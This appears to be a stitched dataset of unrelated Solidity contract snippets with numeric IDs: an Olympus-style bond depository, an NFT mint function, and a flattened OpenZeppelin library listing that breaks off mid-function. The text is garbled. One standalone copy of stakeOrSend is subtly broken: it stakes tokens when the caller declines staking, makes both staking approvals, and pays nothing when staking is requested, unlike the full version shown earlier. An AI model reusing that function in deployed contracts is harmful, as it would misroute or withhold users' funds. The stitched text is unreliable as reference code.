function _splittable(uint256 userId, uint256 assetId) internal view returns (uint128 amt) { return _splitsStorage().splitsStates[userId].balances[assetId].splittable; }
3,823,945
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "../Policy.sol"; import "../librairies/FixedPoint256x256.sol"; import "../interfaces/IOlympusTreasury.sol"; import "../interfaces/IStaking.sol"; import "../interfaces/IStakingHelper.sol"; import "../oracles/v2/IBackingPriceCalculator.sol"; import "../oracles/v2/IPriceProvider.sol"; abstract contract BondDepository is Policy { using FixedPoint256x256 for *; using SafeERC20 for IERC20; /* ======== EVENTS ======== */ event BondCreated( uint256 deposit, uint256 indexed payout, uint256 indexed expires, uint256 indexed priceInUSD ); event BondRedeemed(address indexed recipient, uint256 payout, uint256 remaining); event BondPriceChanged( uint256 indexed priceInUSD, uint256 indexed internalPrice, uint256 indexed debtRatio ); event ControlVariableAdjustment( uint256 initialBCV, uint256 newBCV, uint256 adjustment, bool addition ); /* ======== STATE VARIABLES ======== */ address public immutable OHM; // token given as payment for bond address public immutable principle; // token used to create bond address public immutable treasury; // mints OHM when receives principle address public immutable DAO; // receives profit share from bond address public backingPriceCalculator; address public priceProvider; address public staking; // to auto-stake payout address public stakingHelper; // to stake and claim if no staking warmup bool public useHelper; Terms internal _terms; // stores terms for new bonds Adjust public adjustment; // stores adjustment to BCV data mapping(address => Bond) public bondInfo; // stores bond information for depositors uint256 public totalDebt; // total value of outstanding bonds; used for pricing uint256 public lastDecay; // reference block for debt decay /* ======== STRUCTS ======== */ // Info for creating new bonds struct Terms { uint256 controlVariable; // scaling variable for price uint256 vestingTerm; // in blocks uint256 minimumPrice; // vs principle value uint256 maxPayout; // in thousandths of a %. i.e. 500 = 0.5% uint256 maxDebt; // 9 decimal debt ratio, max % total supply created as debt } // Info for bond holder struct Bond { uint256 payout; // OHM remaining to be paid uint256 vesting; // Blocks left to vest uint256 lastBlock; // Last interaction uint256 pricePaid; // In DAI, for front end viewing } // Info for incremental adjustments to control variable struct Adjust { bool add; // addition or subtraction uint256 rate; // increment uint256 target; // BCV when adjustment finished uint256 buffer; // minimum length (in blocks) between adjustments uint256 lastBlock; // block when last adjustment made } /* ======== INITIALIZATION ======== */ constructor( address _OHM, address _principle, address _treasury, address _DAO ) Policy() { require(_OHM != address(0)); OHM = _OHM; require(_principle != address(0)); principle = _principle; require(_treasury != address(0)); treasury = _treasury; require(_DAO != address(0)); DAO = _DAO; } /** * @notice set backing price calculator and price provider * @param _backingPriceCalculator backing price calculator * @param _priceProvider price provider */ function setPriceProviders(address _backingPriceCalculator, address _priceProvider) external onlyPolicy { require(_backingPriceCalculator != address(0)); backingPriceCalculator = _backingPriceCalculator; require(_priceProvider != address(0)); priceProvider = _priceProvider; } /** * @notice set control variable adjustment * @param _addition bool * @param _increment uint * @param _target uint * @param _buffer uint */ function setAdjustment( bool _addition, uint256 _increment, uint256 _target, uint256 _buffer ) external onlyPolicy { adjustment = Adjust({ add: _addition, rate: _increment, target: _target, buffer: _buffer, lastBlock: block.number }); } /** * @notice set contract for auto stake * @param _staking address * @param _helper bool */ function setStaking(address _staking, bool _helper) external onlyPolicy { require(_staking != address(0)); if (_helper) { useHelper = true; stakingHelper = _staking; } else { useHelper = false; staking = _staking; } } /* ======== USER FUNCTIONS ======== */ /** * @notice deposit bond * @param _amount uint * @param _maxPrice uint * @param _depositor address * @return uint */ function deposit( uint256 _amount, uint256 _maxPrice, address _depositor ) external returns (uint256) { require(_depositor != address(0), "Invalid address"); decayDebt(); require(totalDebt <= _terms.maxDebt, "Max capacity reached"); uint256 priceInUSD = bondPriceInUSD(); // Stored in bond info uint256 nativePrice = _bondPrice(); require(_maxPrice >= nativePrice, "Slippage limit: more than max price"); // slippage protection uint256 value = _valueOf(_amount); uint256 payout = payoutFor(value); // payout to bonder is computed require(payout >= 10000000, "Bond too small"); // must be > 0.01 OHM ( underflow protection ) require(payout <= maxPayout(), "Bond too large"); // size protection because there is no slippage payout = _deposit(_amount, value, payout); // total debt is increased totalDebt = totalDebt + value; // depositor info is stored bondInfo[_depositor] = Bond({ payout: bondInfo[_depositor].payout + payout, vesting: _terms.vestingTerm, lastBlock: block.number, pricePaid: priceInUSD }); // indexed events are emitted emit BondCreated(_amount, payout, block.number + _terms.vestingTerm, priceInUSD); emit BondPriceChanged(bondPriceInUSD(), _bondPrice(), debtRatio()); adjust(); // control variable is adjusted return payout; } /** * @notice redeem bond for user * @param _recipient address * @param _stake bool * @return uint */ function redeem(address _recipient, bool _stake) external returns (uint256) { Bond memory info = bondInfo[_recipient]; uint256 percentVested = percentVestedFor(_recipient); // (blocks since last interaction / vesting term remaining) if (percentVested >= 10000) { // if fully vested delete bondInfo[_recipient]; // delete user info emit BondRedeemed(_recipient, info.payout, 0); // emit bond data return stakeOrSend(_recipient, _stake, info.payout); // pay user everything due } else { // if unfinished // calculate payout vested uint256 payout = (info.payout * percentVested) / 10000; // store updated deposit info bondInfo[_recipient] = Bond({ payout: info.payout - payout, vesting: info.vesting - (block.number - info.lastBlock), lastBlock: block.number, pricePaid: info.pricePaid }); emit BondRedeemed(_recipient, payout, bondInfo[_recipient].payout); return stakeOrSend(_recipient, _stake, payout); } } /* ======== INTERNAL HELPER FUNCTIONS ======== */ /** * @notice allow user to stake payout automatically * @param _stake bool * @param _amount uint * @return uint */ function stakeOrSend( address _recipient, bool _stake, uint256 _amount ) internal virtual returns (uint256) { if (!_stake) { // if user does not want to stake IERC20(OHM).transfer(_recipient, _amount); // send payout } else { // if user wants to stake if (useHelper) { // use if staking warmup is 0 IERC20(OHM).approve(stakingHelper, _amount); IStakingHelper(stakingHelper).stake(_amount, _recipient); } else { IERC20(OHM).approve(staking, _amount); IStaking(staking).stake(_amount, _recipient); } } return _amount; } /** * @notice makes incremental adjustment to control variable */ function adjust() internal { uint256 blockCanAdjust = adjustment.lastBlock + adjustment.buffer; if (adjustment.rate != 0 && block.number >= blockCanAdjust) { uint256 initial = _terms.controlVariable; if (adjustment.add) { _terms.controlVariable = _terms.controlVariable + adjustment.rate; if (_terms.controlVariable >= adjustment.target) { adjustment.rate = 0; } } else { _terms.controlVariable = _terms.controlVariable - adjustment.rate; if (_terms.controlVariable <= adjustment.target) { adjustment.rate = 0; } } adjustment.lastBlock = block.number; emit ControlVariableAdjustment( initial, _terms.controlVariable, adjustment.rate, adjustment.add ); } } /** * @notice reduce total debt */ function decayDebt() internal { totalDebt = totalDebt - debtDecay(); lastDecay = block.number; } /* ======== VIEW FUNCTIONS ======== */ function minimumPrice() public view returns (uint256) { uint256 backingPrice = IBackingPriceCalculator(backingPriceCalculator) .getBackingPrice(); uint256 principlePrice = IPriceProvider(priceProvider).getSafePrice(principle); uint256 _minimumPrice = (backingPrice * 1_000_000_000) / principlePrice; return _minimumPrice > _terms.minimumPrice ? _minimumPrice : _terms.minimumPrice; } /** * @notice calculate current bond premium * @return price uint */ function bondPrice() public view returns (uint256 price) { price = (_terms.controlVariable * debtRatio()); uint256 _minimumPrice = minimumPrice(); if (price < _minimumPrice) { price = _minimumPrice; } } /** * @notice calculate current bond price and remove floor if above * @return price uint */ function _bondPrice() internal returns (uint256 price) { price = (_terms.controlVariable * debtRatio()); uint256 _minimumPrice = minimumPrice(); if (price < _minimumPrice) { price = _minimumPrice; } else if (_minimumPrice != 0) { _terms.minimumPrice = 0; } } /** * @notice determine maximum bond size * @return uint */ function maxPayout() public view returns (uint256) { return (IERC20(OHM).totalSupply() * _terms.maxPayout) / 100000; } /** * @notice calculate interest due for new bond * @param _value uint * @return uint */ function payoutFor(uint256 _value) public view returns (uint256) { return FixedPoint256x256.fraction(_value, bondPrice()).decode112with18() / 1e9; } /** * @notice calculate current ratio of debt to OHM supply * @return debtRatio_ uint */ function debtRatio() public view returns (uint256 debtRatio_) { uint256 supply = IERC20(OHM).totalSupply(); debtRatio_ = FixedPoint256x256.fraction(currentDebt() * 1e9, supply).decode112with18() / 1e18; } /** * @notice calculate debt factoring in decay * @return uint */ function currentDebt() public view returns (uint256) { return totalDebt - debtDecay(); } /** * @notice amount to decay total debt by * @return decay_ uint */ function debtDecay() public view returns (uint256 decay_) { uint256 blocksSinceLast = block.number - lastDecay; decay_ = (totalDebt * blocksSinceLast) / _terms.vestingTerm; if (decay_ > totalDebt) { decay_ = totalDebt; } } /** * @notice calculate how far into vesting a depositor is * @param _depositor address * @return percentVested_ uint */ function percentVestedFor(address _depositor) public view returns (uint256 percentVested_) { Bond memory bond = bondInfo[_depositor]; uint256 blocksSinceLast = block.number - bond.lastBlock; uint256 vesting = bond.vesting; if (vesting > 0) { percentVested_ = (blocksSinceLast * 10000) / vesting; } else { percentVested_ = 0; } } /** * @notice calculate amount of OHM available for claim by depositor * @param _depositor address * @return pendingPayout_ uint */ function pendingPayoutFor(address _depositor) external view returns (uint256 pendingPayout_) { uint256 percentVested = percentVestedFor(_depositor); uint256 payout = bondInfo[_depositor].payout; if (percentVested >= 10000) { pendingPayout_ = payout; } else { pendingPayout_ = (payout * percentVested) / 10000; } } /* ======= AUXILLIARY ======= */ /** * @notice allow anyone to send lost tokens (excluding principle or OHM) to the DAO * @return bool */ function recoverLostToken(address _token) external returns (bool) { require(_token != OHM); require(_token != principle); IERC20(_token).safeTransfer(DAO, IERC20(_token).balanceOf(address(this))); return true; } /* ======== VIRTUAL FUNCTIONS ======== */ function _valueOf(uint256 _amount) internal view virtual returns (uint256); function _deposit( uint256 amount, uint256 value, uint256 payout ) internal virtual returns (uint256); function bondPriceInUSD() public view virtual returns (uint256 price_); function standardizedDebtRatio() external view virtual returns (uint256); }
allow user to stake payout automatically _stake bool _amount uint return uint/ if user does not want to stake if user wants to stake use if staking warmup is 0
function stakeOrSend( address _recipient, bool _stake, uint256 _amount ) internal virtual returns (uint256) { if (!_stake) { if (useHelper) { IERC20(OHM).approve(stakingHelper, _amount); IStakingHelper(stakingHelper).stake(_amount, _recipient); IERC20(OHM).approve(staking, _amount); IStaking(staking).stake(_amount, _recipient); } } return _amount; }
12,537,343
./full_match/1/0x7b07dEf58900ae3D63E93DEC54E98c0d5AA103e0/sources/MyMintplexProjectContract.sol
Public Mint Functions Mints a number of tokens to a single address. fee may or may not be required _to recipient address _id token id of collection _qty amount to mint/
function mintToMultiple(address _to, uint256 _id, uint256 _qty) public payable whenNotPaused { if(!exists(_id)) revert TokenDoesNotExist(); if(_qty == 0) revert MintZeroQuantity(); if(!canMintQtyForTransaction(_id, _qty)) revert ExceededTransactionMints(); if(!withinSupplyCap(_id, _qty)) revert CapExceeded(); if(msg.value != getPrice(_id, _qty)) revert InvalidPayment(); if(inAllowlistMode(_id)) revert PublicMintClosed(); if(!isMintingOpen(_id)) revert PublicMintClosed(); if(!canMintAmount(_id, _to, _qty)) revert ExceededMints(); addTokenMints(_id, _to, _qty); _mint(_to, _id, _qty, emptyBytes); }
9,808,901
/** *Submitted for verification at Etherscan.io on 2021-09-08 */ // Sources flattened with hardhat v2.0.11 https://hardhat.org // File @openzeppelin/contracts/token/ERC20/[email protected] // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File @openzeppelin/contracts/math/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File @openzeppelin/contracts/utils/[email protected] pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts/token/ERC20/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File @openzeppelin/contracts/utils/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) 